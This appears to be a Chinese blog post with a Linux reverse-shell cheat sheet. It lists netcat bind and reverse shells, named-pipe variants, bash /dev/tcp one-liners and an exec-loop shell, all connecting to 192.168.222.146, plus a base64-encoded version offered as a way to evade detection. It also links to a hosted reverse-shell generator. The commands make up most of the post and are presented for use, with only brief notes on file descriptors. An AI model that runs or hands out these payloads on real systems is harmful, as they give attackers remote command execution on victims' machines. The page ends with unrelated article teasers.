Linux下的shell

news/2024/11/28 19:36:10/

NC反向shell

 1、查看shell类型

echo $SHELLchsh -s 需要修改shell的类型cat /etc/shells    查看存在哪些shell

然后反弹对应的shell(正向连接)

//被控制端
nc -lvvp 8989 -e /bin/bash
//控制端
nc 192.168.222.146(被控端ip) 8989

2、没有-e参数反弹shell

扩展了解标准文件描述符 0(输入) 、1(输出)、2(错误输出)的用法

Linux 文件描述符详解-腾讯云开发者社区-腾讯云

创建管道:

非root权限也可以

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.222.146 52010 > /tmp/f

root权限才可以

mknod backpipe p;nc 192.168.222.146 8978 0<backpipe | /bin/bash 1>backpipe 2> backpipe

Bash反弹shell

方法一:

被控端

bash -i >& /dev/tcp/192.168.222.146/34567 0>&1
bash -i > /dev/tcp/192.168.222.146/12345 0>&1 2>&1

&>与>&:都是将输出和报错输出到一个地方

0>&1:将标准输入作为标准输出给到远程地址,从而将输入的 权力给了192.168.222.146

2>&1:这里将错误作为输出,给到远程,这里就等于 >&

拓展:

/dev目录

/dev/tcp是Linux中的一个特殊设备,打开这个文件就相当发起了一个socket调用,建立一个socket连接

控制端

nc -lvvp 34567

方法二:

被控端

exec 5<>/dev/tcp/192.168.222.146/23456;cat <&5 | while read line; do $line 2>&5 >&5;done

控制端

nc -lvvp 23456

也可使用base64编码绕过:

bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMi4xNDYvMzQ1NjcgMD4mMQ== | base64 -d| bash -i"

注意:这里监听端口尽量大一点(推荐大于10000),避免占用,方便连接到

github上有shell的集合,我在服务器上搭建了需要的可以使用Reverse Shell Generator

这是一个阉割版的,但感觉已经够用了。下面是完整改版PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings · GitHub


http://www.ppmy.cn/news/68942.html

相关文章

python如何选取数据

python如何选取数据的第几行和第几列 要选取Python中数据的特定行和列&#xff0c;可以使用索引或切片。 假设你有一个名为data的二维列表&#xff08;或Numpy数组或Pandas DataFrame&#xff09;&#xff0c; 以下是如何选择第3行和第2列&#xff1a; # 选择第3行和第2列 …

R语言 | 数据分析——统计绘图

目录 一、分类数据的图形描述 1.1 条形图barplot()函数 1.2 饼图pie()函数 二、量化数据的图形描述 2.1 点图与dotchart()函数 2.2 绘图函数plot() 2.2.1 绘制时间数列对象 ​2.2.2 向量数据与plot()函数 2.2.3 数据框数据与plot()函数 2.2.4 因子型数据与plot()函数 …

毕业论文写作技巧

毕业论文的组成部分目录自定义目录 摘要&#xff08;Abstract&#xff09;绪论相关工作&#xff08;Related work&#xff09;研究方法和结果&#xff08;Method and Results&#xff09;研究方法研究结果 结论&#xff08;Conclusion&#xff09;写在最后&#xff0c;关于论文…

【LeetCode】172. 阶乘后的零

172. 阶乘后的零&#xff08;中等&#xff09; 方法一 思路 当一个数乘以 10 &#xff0c;此时数字结尾会增加一个 0&#xff0c;因此我们可以计算 n! 能够得出多少个 10 &#xff0c;就说明能得到多少个 0 。 具体对于5!&#xff0c;也就是 5 * 4 * 3 * 2 * 1 120&#xf…

linux-项目部署软件安装

安装jdk 操作步骤&#xff1a; 1、使用FinalShell自带的上传工具将jdk的二进制发布包上传到Linux jdk-8u171-linux-x64.tar.gz 2、解压安装包&#xff0c;命令为tar -zxvf jdk-8u171-linux-x64.tar.gz -C /usr/local 3、配置环境变量&#xff0c;使用vim命令修改/etc/profile文…

杂记——23.java中的值传递和应用传递

这篇文章我们来讲一下java中的值传递和引用传递 结论&#xff1a;java中只存在值传递&#xff0c;不存在引用传递&#xff08;C中有引用传递&#xff09; 分析&#xff1a; 值传递(pass by value)&#xff1a;在调用函数时&#xff0c;将实际参数复制一份传递到函数中&#…

板材激光切割机切割穿孔时注意的几个问题

激光切割设备广泛应用于钣金、五金制品、钢结构、汽车配件、广告、工艺品等行业&#xff0c;成为加工行业不可缺少的环节。在厚板加工中穿孔时间占很大比重&#xff0c;随着加工板材越来越厚&#xff0c;板材激光切割机切割穿孔也会相应地增加难度。 激光切割机两种常见的穿孔方…

传统机器学习(三)聚类算法K-means(一)

传统机器学习(三)聚类算法K-means(一) 一、聚类算法K-means初识 1.1 算法概述 K-Means算法是无监督的聚类算法&#xff0c;它实现起来比较简单&#xff0c;聚类效果也不错&#xff0c;因此应用很广泛。K-Means基于欧式距离认为两个目标距离越近&#xff0c;相似度越大。 1.…